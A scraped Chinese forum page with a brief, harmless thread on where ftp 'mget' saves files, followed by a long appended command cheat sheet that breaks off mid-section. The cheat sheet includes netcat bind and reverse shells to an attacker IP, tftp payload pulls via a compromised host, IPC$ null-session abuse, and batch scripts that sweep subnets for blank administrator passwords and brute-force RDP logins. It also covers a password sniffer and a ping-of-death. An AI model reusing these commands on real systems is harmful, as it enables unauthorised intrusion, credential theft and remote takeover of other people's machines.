社区
系统维护与使用区
帖子详情
请问下ftp命令中 mget会把文件传至本地机器的哪个目录呢
lllinux
2009-12-18 08:53:25
哎 查了半天 这个命令的说明只有:mget remote-files:传输多个远程文件。
可是不知道会传至本地机器的哪个目录
Windows下面是传至lcd的目录 可是linux呢??
...全文
515
9
打赏
收藏
请问下ftp命令中 mget会把文件传至本地机器的哪个目录呢
哎 查了半天 这个命令的说明只有:mget remote-files:传输多个远程文件。 可是不知道会传至本地机器的哪个目录 Windows下面是传至lcd的目录 可是linux呢??
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
9 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
cuijie_cn
2009-12-21
打赏
举报
回复
接分
dumeifang
2009-12-19
打赏
举报
回复
那就JF
goooglemister
2009-12-19
打赏
举报
回复
接分。
yhf365
2009-12-19
打赏
举报
回复
结了?接分~
可乐是我
2009-12-19
打赏
举报
回复
在linux下 你是在哪个目录下运行命令就下到哪个目录,比如你在/opt下运行 就会下到opt的目录下
lylm
2009-12-19
打赏
举报
回复
查看lcd
freetstar
2009-12-19
打赏
举报
回复
jf
Arnold9009
2009-12-19
打赏
举报
回复
用lcd命令改变后的目录,没改变过的话,就是ftp默认的当前目录
lllinux
2009-12-18
打赏
举报
回复
又试了几次 原来也是lcd的地址。。。。结贴了。。。。
cmd操作
命令
和linux
命令
大全收集
CMD
命令
:开始->运行->键入cmd或command(在
命令
行里可以看到系统版本、
文件
系统版本)
命令
大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器 ,是一个 监测网络
中
DNS 服务器是否能正确实现域名解析的
命令
行工具。它在 Windows NT/2000/XP
中
均可使用,但在 Windows 98
中
却没有集成这一个工具。 4. explorer-------打开资源管理器 5. logoff---------注销
命令
6. shutdown-------60秒倒计时关机
命令
7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll
文件
运行 24. drwtsn32------ 系统医生 25. rononce -p----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存使用情况 31. regedit.exe----注册表 32. winchat--------XP自带局域网聊天 33. progman--------程序管理器 34. winmsd---------系统信息 35. perfmon.msc----计算机性能监测程序 36. winver---------检查Windows版本 37. sfc /scannow-----扫描错误并复原 38. taskmgr-----任务管理器(2000/xp/2003) 39. regsvr32 /u *.dll----停止dll
文件
运行 40. wmimgmt.msc----打开windows管理体系结构(WMI) 41. wupdmgr--------windows更新程序 42. wscript--------windows脚本宿主设置 43. write----------写字板 45. wiaacmgr-------扫描仪和照相机向导 46. winchat--------XP自带局域网聊天 49. mplayer2-------简易widnows media player 50. mspaint--------画图板 51. mstsc----------远程桌面连接 53. magnify--------放大镜实用程序 54. mmc------------打开控制台 55. mobsync--------同步
命令
57. iexpress-------木马捆绑工具,系统自带 58. fsmgmt.msc-----共享
文件
夹管理器 59. utilman--------辅助工具管理器 61. dcomcnfg-------打开系统组件服务 62. ddeshare-------打开DDE共享设置 63. osk------------打开屏幕键盘 64. odbcad32-------ODBC数据源管理器 65. oobe/msoobe /a----检查XP是否激活 66. cmd.exe--------CMD
命令
提示符 67. regsvr32 /u zipfldr.dll------取消ZIP支持 68. ntbackup-------系统备份和还原 69. narrator-------屏幕“讲述人” 70. ntmsmgr.msc----移动存储管理器 71. ntmsoprq.msc---移动存储管理员操作请求 72. netstat -an----(TC)
命令
检查接口 73. syncapp--------创建一个公文包 74. sysedit--------系统配置编辑器 75. sigverif-------
文件
签名验证程序 76. ciadv.msc------索引服务程序 77. shrpubw--------创建共享
文件
夹 78. secpol.msc-----本地安全策略 79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 80. services.msc---本地服务设置 81. Sndvol32-------音量控制程序 82. sfc.exe--------系统
文件
检查器 83. sfc /scannow---windows
文件
保护 84. ciadv.msc------索引服务程序 85. tourstart------xp简介(安装完成后出现的漫游xp程序) 86. taskmgr--------任务管理器 87. eventvwr-------事件查看器 88. eudcedit-------造字程序 89. compmgmt.msc---计算机管理 90. packager-------对象包装程序 91. perfmon.msc----计算机性能监测程序 92. charmap--------启动字符映射表 93. cliconfg-------SQL SERVER 客户端网络实用程序 94. Clipbrd--------剪贴板查看器 95. conf-----------启动netmeeting 96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接 net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: ipc$ 登陆后映射对方C:到本地为H: net use ipipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把“用户”添加到管理员
中
使其具有管理员权限 net start 查看开启了哪些服务 net start 服务名 开启服务;(如:net start telnet, net start schedule) net stop 服务名 停止某服务 net time 目标ip 查看对方时间 net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C:共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况 netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其
中
一个端口开了的话,就可查看对方最近登陆的用户名 tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的
文件
并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装
目录
的Support/tools
文件
夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装
目录
的Support/tools
文件
夹内) del -F
文件
名 加-F参数后就可删除只读
文件
,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档
文件
,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的
文件
。例如“DEL/AR *.*”表示删除当前
目录
下所有只读
文件
,“DEL/A-S *.*”表示删除当前
目录
下除系统
文件
以外的所有
文件
del /S /Q
目录
或用:rmdir /s /Q
目录
/S删除
目录
及
目录
下的所有子
目录
和
文件
。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个
命令
作用相同) move 盘符路径要移动的
文件
名 存放移动
文件
的路径移动后
文件
名 移动
文件
,用参数/y将取消确认移动
目录
存在相同
文件
的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个
文件
并把不同之处输出到3st.txt
文件
中
,"> "和"> >" 是重定向
命令
at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at ip time 程序名(或一个
命令
) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP(属telnet登陆后的
命令
) telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径
文件
名1 路径
文件
名2 /y 复制
文件
1到指定的
目录
为
文件
2,用参数/y就同时取消确认你要改写一份现存
目录
文件
copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下 copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg
中
生成3st.jpg新的
文件
,注:2st.txt
文件
头要空三排,参数:/b指二进制
文件
,/a指ASCLL格式
文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe
文件
(所有
文件
)至本地C: xcopy 要复制的
文件
或
目录
树 目标地址
目录
名 复制
文件
和
目录
树,用参数/Y将不提示覆盖相同
文件
用参数/e才可连
目录
下的子
目录
一起复制到目标地址下。 t
ftp
-i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe
文件
时用,如不加-i 则以ASCII模式(传送文本
文件
模式)进行传送 t
ftp
-i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
ftp
ip 端口 用于上传
文件
至服务器或进行
文件
操作,默认端口为21。bin指用二进制方式传送(可执行
文件
进);默认为ASCII格式传送(文本
文件
时) route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或
命令
/max 或/min 新开一个新窗口并最大化(最小化)运行某程序或
命令
mem 查看cpu使用情况 attrib
文件
名(
目录
名) 查看某
文件
(
目录
)的属性 attrib
文件
名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某
文件
的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 dir 查看
文件
,参数:/Q显示
文件
及
目录
属系统哪个用户,/T:C显示
文件
创建时间,/T:A显示
文件
上次被访问时间,/T:W上次被修改时间 date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量 set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 pause 暂停批处理程序,并显示出:请按任意键继续.... if 在批处理程序
中
执行条件处理(更多说明见if
命令
及变量) goto 标签 将cmd.exe导向到批处理程序
中
带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) call 路径批处理
文件
名 从批处理程序
中
调用另一个批处理程序 (更多说明见call /?) for 对一组
文件
中
的每一个
文件
执行某个特定
命令
(更多说明见for
命令
及变量) echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 echo 信息 在屏幕上显示出信息 echo 信息 >> pass.txt 将"信息"保存到pass.txt
文件
中
findstr "Hello" aa.txt 在aa.txt
文件
中
寻找字符串hello find
文件
名 查找某
文件
title 标题名字 更改CMD窗口标题名字 color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 prompt 名称 更改cmd.exe的显示的
命令
提示符(把C:、D:统一改为:EntSky ) ver 在DOS窗口下显示版本信息 winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS md
目录
名 创建
目录
replace 源
文件
要替换
文件
的
目录
替换
文件
ren 原
文件
名 新
文件
名 重命名
文件
名 tree 以树形结构显示出
目录
,用参数-f 将列出第个
文件
夹
中
文件
名称 type
文件
名 显示文本
文件
的内容 more
文件
名 逐屏显示输出
文件
doskey 要锁定的
命令
=字符 doskey 要解锁
命令
= 为DOS提供的锁定
命令
(编辑
命令
行,重新调用win2k
命令
,并创建宏)。如:锁定dir
命令
:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= taskmgr 调出任务管理器 chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe path 路径可执行
文件
的
文件
名 为可执行
文件
设置一个路径。 cmd 启动一个win2K
命令
解释窗口。参数:/eff、/en 关闭、开启
命令
扩展;更我详细说明见cmd /? regedit /s 注册表
文件
名 导入注册表;参数/S指安静模式导入,无任何提示; regedit /e 注册表
文件
名 导出注册表 cacls
文件
名 参数 显示或修改
文件
访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。 cacls
文件
名 查看
文件
的访问用户权限列表 REM 文本内容 在批处理
文件
中
添加注解 netsh 查看或更改本地网络配置情况 IIS服务
命令
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) iisreset /start或stop 启动(停止)所有Internet服务 iisreset /restart 停止然后重新启动所有Internet服务 iisreset /status 显示所有Internet服务状态 iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 iisreset /noforce 若无法停止Internet服务,将不
会
强制终止Internet服务 iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将
会
重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP
命令
:(后面有详细说明内容)
ftp
的
命令
行格式为:
ftp
-v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 -d 使用调试方式。 -n 限制
ftp
的自动登录,即不使用.netrc
文件
。 -g 取消全局
文件
名。 help [
命令
] 或 ?[
命令
] 查看
命令
说明 bye 或 quit 终止主机
FTP
进程,并退出
FTP
管理方式. pwd 列出当前远端主机
目录
put 或 send 本地
文件
名 [上传到主机上的
文件
名] 将本地一个
文件
传送至远端主机
中
get 或 recv [远程主机
文件
名] [下载到本地后的
文件
名] 从远端主机
中
传送至本地主机
中
mget [remote-files] 从远端主机接收一批
文件
至本地主机 mput local-files 将本地主机
中
一批
文件
传送至远端主机 dir 或 ls [remote-directory] [local-file] 列出当前远端主机
目录
中
的
文件
.如果有本地
文件
,就将结果写至本地
文件
ascii 设定以ASCII方式传送
文件
(缺省值) bin 或 image 设定以二进制方式传送
文件
bell 每完成一次
文件
传送,报警提示 cdup 返回上一级
目录
close
中
断与远程服务器的
ftp
会
话(与open对应) open host[port] 建立指定
ftp
服务器连接,可指定连接端口 delete 删除远端主机
中
的
文件
mdelete [remote-files] 删除一批
文件
mkdir directory-name 在远端主机
中
建立
目录
rename [from] [to] 改变远端主机
中
的
文件
名 rmdir directory-name 删除远端主机
中
的
目录
status 显示当前
FTP
的状态 system 显示远端主机系统类型 user user-name [password] [account] 重新以别的用户名登录远端主机 open host [port] 重新建立一个新的连接 prompt 交互提示模式 macdef 定义宏
命令
lcd 改变当前本地主机的工作
目录
,如果缺省,就转到当前用户的HOME
目录
chmod 改变远端主机的
文件
权限 case 当为ON时,用MGET
命令
拷贝的
文件
名到本地
机器
中
,全部转换为小写字母 cd remote-dir 进入远程主机
目录
cdup 进入远程主机
目录
的父
目录
! 在本地机
中
执行交互shell,exit回到
ftp
环境,如!ls*.zip #5 MYSQL
命令
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。 (例:mysql -h110.110.110.110 -Uroot -P123456 注:u与root可以不用加空格,其它也一样) exit 退出MYSQL mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境
中
的
命令
,所以后面都带一个分号作为
命令
结束符) show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 use mysql; show tables; 显示库
中
的数据表 describe 表名; 显示数据表的结构 create database 库名; 建库 use 库名; create table 表名 (字段设定列表); 建表 drop database 库名; drop table 表名; 删库和删表 delete from 表名; 将表
中
记录清空 select * from 表名; 显示表
中
的记录 mysqldump --opt school>school.bbb 备份数据库:(
命令
在DOS的mysqlin
目录
下执行);注释:将数据库school备份到school.bbb
文件
,school.bbb是一个文本
文件
,
文件
名任取,打开看看你
会
有新发现。 win2003系统下新增
命令
(实用部份): shutdown /参数 关闭或重启本地或远程主机。 参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。 例:shutdown /r /t 0 立即重启本地主机(无延时) taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 参数说明:/PID 要终止进程的pid,可用tasklist
命令
获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 参数说明:/M 列出当前进程加载的dll
文件
,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 Linux系统下基本
命令
注:要区分大小写 uname 显示版本信息(同win2K的 ver) dir 显示当前
目录
文件
,ls -al 显示包括隐藏
文件
(同win2K的 dir) pwd 查询当前所在的
目录
位置 cd cd ..回到上一层
目录
,注意cd 与..之间有空格。 cd /返回到根
目录
。 cat
文件
名 查看
文件
内容 cat >abc.txt 往abc.txt
文件
中
写上内容。 more
文件
名 以一页一页的方式显示一个文本
文件
。 cp 复制
文件
mv 移动
文件
rm
文件
名 删除
文件
,rm -a
目录
名删除
目录
及子
目录
mkdir
目录
名 建立
目录
rmdir 删除子
目录
,
目录
内没有文档。 chmod 设定档案或
目录
的存取权限 grep 在档案
中
查找字符串 diff 档案
文件
比较 find 档案搜寻 date 现在的日期、时间 who 查询目前和你使用同一台
机器
的人以及Login时间地点 w 查询目前上机者的详细资料 whoami 查看自己的帐号名称 groups 查看某人的Group passwd 更改密码 history 查看自己下过的
命令
ps 显示进程状态 kill 停止某进程 gcc 黑客通常用它来编译C语言写的
文件
su 权限转换为指定使用者 telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp
ftp
连接上某服务器(同win2K) 批处理
命令
与变量 1:for
命令
及变量 基本格式 FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。 批处理每次能处理的变量从%0—%9共10个,其
中
%0默认给批处理
文件
名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user
中
ip为%1,pass为%2,user为%3 (set):指定一个或一组
文件
,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 } command:指定对第个
文件
执行的
命令
,如:net use
命令
;如要执行多个
命令
时,
命令
这间加:& 来隔开 command_parameters:为特定
命令
指定参数或
命令
行开关 IN (set):指在(set)
中
取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从
文件
中
不断取值,直到取完为止{ (set)为
文件
时,如(d:pass.txt)时 }。 用法举例: @echo off echo 用法格式:test.bat *.*.* > test.txt for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "
命令
成功完成" >>test.txt 存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt
中
。 /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个
命令
;| 指建立了ipc$后,在结果
中
用find查看是否有"
命令
成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 @echo off echo 用法格式:ok.bat ip FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 存为:ok.exe 说明:输入一个IP后,用字典
文件
d:pass.dic来暴解d:user.dic
中
的用户密码,直到
文件
中
值取完为止。%%i为用户名;%1为输入的IP地址(默认)。 七: 2:if
命令
及变量 基本格式 IF [not] errorlevel 数字
命令
语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。 例:IF errorlevel 0
命令
指程序执行后返回的值为0时,就值行后面的
命令
;IF not errorlevel 1
命令
指程序执行最后返回的值不等于1,就执行后面的
命令
。 0 指发现并成功执行(真);1 指没有发现、没执行(假)。 IF [not] 字符串1==字符串2
命令
语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的
命令
。 例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的
命令
(注意:调用变量时就%变量名%并加" ") IF [not] exist
文件
名
命令
语句 如果指定的
文件
名存在,就执行后面的
命令
。 例:“if not nc.exe goto end”指:如果没有发现nc.exe
文件
就跳到":end"标签处。 IF [not] errorlevel 数字
命令
语句 else
命令
语句或 IF [not] 字符串1==字符串2
命令
语句 else
命令
语句或 IF [not] exist
文件
名
命令
语句 else
命令
语句 加上:else
命令
语句后指:当前面的条件不成立时,就指行else后面的
命令
。注意:else 必须与 if 在同一行才有效。当有del
命令
时需把del
命令
全部内容用括起来,因为del
命令
要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意
命令
中
的“.” 系统外部
命令
注:系统外部
命令
(均需下载相关工具) 瑞士军刀:nc.exe 参数说明: -h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名 -o film记录16进制的传输 -p[空格]端口 本地端口号 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出,用-vv将更详细 -w数字 timeout延时间隔 -z 将输入,输出关掉(用于扫锚时) 基本用法: nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 nc -l -p 80 开启本机的TCP 80端口并监听 nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 高级用法: nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt
中
内容送入管道
中
,亦可起到传送
文件
作用 type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt
中
内容送入管道
中
,亦可起到传送
文件
作用 本机上用: nc -l -p 本机端口 在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用:nc -d -l -p 本机端口 存放
文件
的路径及名称 传送
文件
到对方主机 备 注: | 管道
命令
重定向
命令
。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt
中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。 如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个
命令
分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。 八: 扫描工具:xscan.exe 基本格式 xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 xscan -file [其他选项] 扫锚"主机IP列表
文件
名"
中
的所有主机信息 检测项目 -active 检测主机是否存活 -os 检测远程操作系统类型(通过NETBIOS和SNMP协议) -port 检测常用服务的端口状态 -
ftp
检测
FTP
弱口令 -pub 检测
FTP
服务匿名用户写权限 -pop3 检测POP3-Server弱口令 -smtp 检测SMTP-Server漏洞 -sql 检测SQL-Server弱口令 -smb 检测NT-Server弱口令 -iis 检测IIS编码/解码漏洞 -cgi 检测CGI漏洞 -nasl 加载Nessus攻击脚本 -all 检测以上所有项目 其它选项 -i 适配器编号 设置网络适配器,可通过"-l"参数获取 -l 显示所有网络适配器 -v 显示详细扫描进度 -p 跳过没有响应的主机 -o 跳过没有检测到开放端口的主机 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log
文件
名 指定扫描报告
文件
名 (后缀为:TXT或HTML格式的
文件
) 用法示例 xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机 xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机 xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”
文件
中
列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机 九:
命令
行方式嗅探器: xsniff.exe 可捕获局域网内
FTP
/SMTP/POP3/HTTP协议密码 参数说明 -tcp 输出TCP数据报 -udp 输出UDP数据报 -icmp 输出ICMP数据报 -pass 过滤密码信息 -hide 后台运行 -host 解析主机名 -addr IP地址 过滤IP地址 -port 端口 过滤端口 -log
文件
名 将输出保存到
文件
-asc 以ASCII形式输出 -hex 以16进制形式输出 用法示例 xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log
文件
中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 终端服务密码破解: tscrack.exe 参数说明 -h 显示使用帮助 -v 显示版本信息 -s 在屏幕上打出解密能力 -b 密码错误时发出的声音 -t 同是发出多个连接(多线程) -N Prevent System Log entries on targeted server -U 卸载移除tscrack组件 -f 使用-f后面的密码 -F 间隔时间(频率) -l 使用-l后面的用户名 -w 使用-w后面的密码字典 -p 使用-p后面的密码 -D 登录主页面 用法示例 tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典
文件
暴破主机的administrator的登陆密码 tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 @if not exist ipcscan.txt goto noscan @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i Nscan @echo 3389.txt no find or scan faild (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表
文件
3389.txt) 3389.bat意思是:从3389.txt
文件
中
取一个IP,接着运行hack.bat @if not exist tscrack.exe goto noscan @tscrack %1 -l administrator -w pass.dic >>rouji.txt :noscan @echo tscrack.exe no find or scan faild (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个
目录
下;就可以等待结果了) hack.bat意思是:运行tscrack.exe用字典暴破3389.txt
中
所有主机的administrator密码,并将破解结果保存在rouji.txt
文件
中
。 其它 Shutdown.exe Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS
命令
中
有详细介绍。) fpipe.exe (TCP端口重定向工具) 在第二篇
中
有详细说明(端口重定向绕过防火墙) fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果
会
完全是的主机信息 Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。 OpenTelnet.exe (远程开启telnet工具) opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。 NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。 ResumeTelnet.exe (OpenTelnet附带的另一个工具) resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个
命令
将对方的Telnet设置还原,并同时关闭Telnet服务。
FTP
命令
详解
FTP
命令
是Internet用户使用最频繁的
命令
之一,熟悉并灵活应用
FTP
的内部
命令
,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台
FTP
下载,那么就必须学习
FTP
指令。
FTP
的
命令
行格式为:
ftp
-v -d -i -n -g [主机名] ,其
中
-v 显示远程服务器的所有响应信息 -n 限制
ftp
的自动登录,即不使用;.n etrc
文件
; -d 使用调试方式; -g 取消全局
文件
名。
FTP
使用的内部
命令
如下(
中
括号表示可选项): 1.![cmd[args]]:在本地机
中
